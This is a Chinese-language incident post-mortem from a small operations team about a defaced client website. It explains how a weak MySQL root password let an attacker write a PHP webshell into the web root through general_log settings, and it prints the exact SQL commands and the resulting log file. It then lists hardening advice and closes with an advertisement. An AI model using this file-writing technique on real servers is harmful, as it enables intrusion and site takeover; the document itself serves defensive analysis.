故障現象
某客戶網站訪問出現異常,明顯是被攻擊了並植入廣告了。
先處理完了被修改的檔案,恢復訪問,要分析一下原因,以防止下次被重新攻擊。
攻擊分析
起初是懷疑程式問題,檢查了很久沒發現問題,隨後懷疑環境配置問題,最終根據日誌資訊找到原因。
總結起來,就是利用了MySQL的root弱口令通過寫入檔案的方式拿到WebShell。
如果出現MySQL出現弱口令,比如如下場景:
- phpStudy 安裝後沒有修改預設 root 使用者的密碼
- 其他一些繼承環境沒有修改預設 root 使用者的密碼
使用自帶的 PhpMyAdmin 或者其他工具連線進入 MySQL 執行環境,執行如下 SQL:
set global general_log='on';
SET global general_log_file='C:\\phpstudy\\PHPTutorial\\WWW\\test_shell.php';
SELECT '<?php phpinfo();?>';
執行後就會將以下內容寫入 C:\phpstudy\PHPTutorial\WWW\test_shell.php
檔案。
C:\phpStudy\PHPTutorial\MySQL\bin\mysqld.exe, Version: 5.5.53 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time Id Command Argument
28 Init DB test
28 Query SHOW TABLES FROM `test`
28 Query SHOW TABLE STATUS FROM `test`
28 Quit
190830 10:04:09 29 Connect root@localhost on
29 Query SET NAMES 'utf8' COLLATE 'utf8_general_ci'
29 Init DB test
29 Init DB test
29 Query SELECT '<?php phpinfo();?>'
29 Query SHOW VARIABLES LIKE 'profiling'
29 Query SHOW TABLES
29 Quit
190830 10:10:03 30 Connect root@localhost on
30 Query SET NAMES 'utf8' COLLATE 'utf8_general_ci'
30 Init DB test
30 Query SHOW TABLES FROM `test`
30 Query SHOW TABLE STATUS FROM `test`
30 Query SELECT CURRENT_USER()
30 Query SELECT `PRIVILEGE_TYPE` FROM `INFORMATION_SCHEMA`.`USER_PRIVILEGES` WHERE GRANTEE='''root''@''localhost''' AND PRIVILEGE_TYPE='EVENT'
30 Query SELECT CURRENT_USER()
30 Query SELECT `PRIVILEGE_TYPE` FROM `INFORMATION_SCHEMA`.`USER_PRIVILEGES` WHERE GRANTEE='''root''@''localhost''' AND PRIVILEGE_TYPE='TRIGGER'
30 Quit
190830 10:10:05 31 Connect root@localhost on
31 Query SET NAMES 'utf8' COLLATE 'utf8_general_ci'
31 Quit
之後不多說,只要能有機會寫入系統檔案,基本上就無敵了。
如何防範
- 關閉資料庫 MySQL 3306 埠的遠端訪問許可權(使用防火牆遮蔽遠端埠訪問),其他軟體(如 Redis 等)也是相同,關閉遠端訪問,可以解決掉由於軟體本身Bug導致的攻擊
- 避免使用弱密碼(任何系統都要注意修改掉預設的弱密碼)
- 使用開源整合環境時,要注意預設的一些配置(比如探針等),關閉一些不用的功能
- 如果一個伺服器安裝多套系統時,要注意不同系統之間的環境、許可權隔離,避免由於一個系統淪陷導致整個伺服器淪陷
- 有技術基礎情況下優先使用Linux伺服器,至少我們覺得從許可權角度還是運維上,相對於Windows都要安全很多(見仁見智)
最後打個廣告,我們(Antted)是一個有熱情的團隊,Antted 提供專業系統開發、系統搭建、伺服器運維整體解決方案,對於技術我們懷有敬畏、謹慎的態度,讓技術更好的為您的業務服務。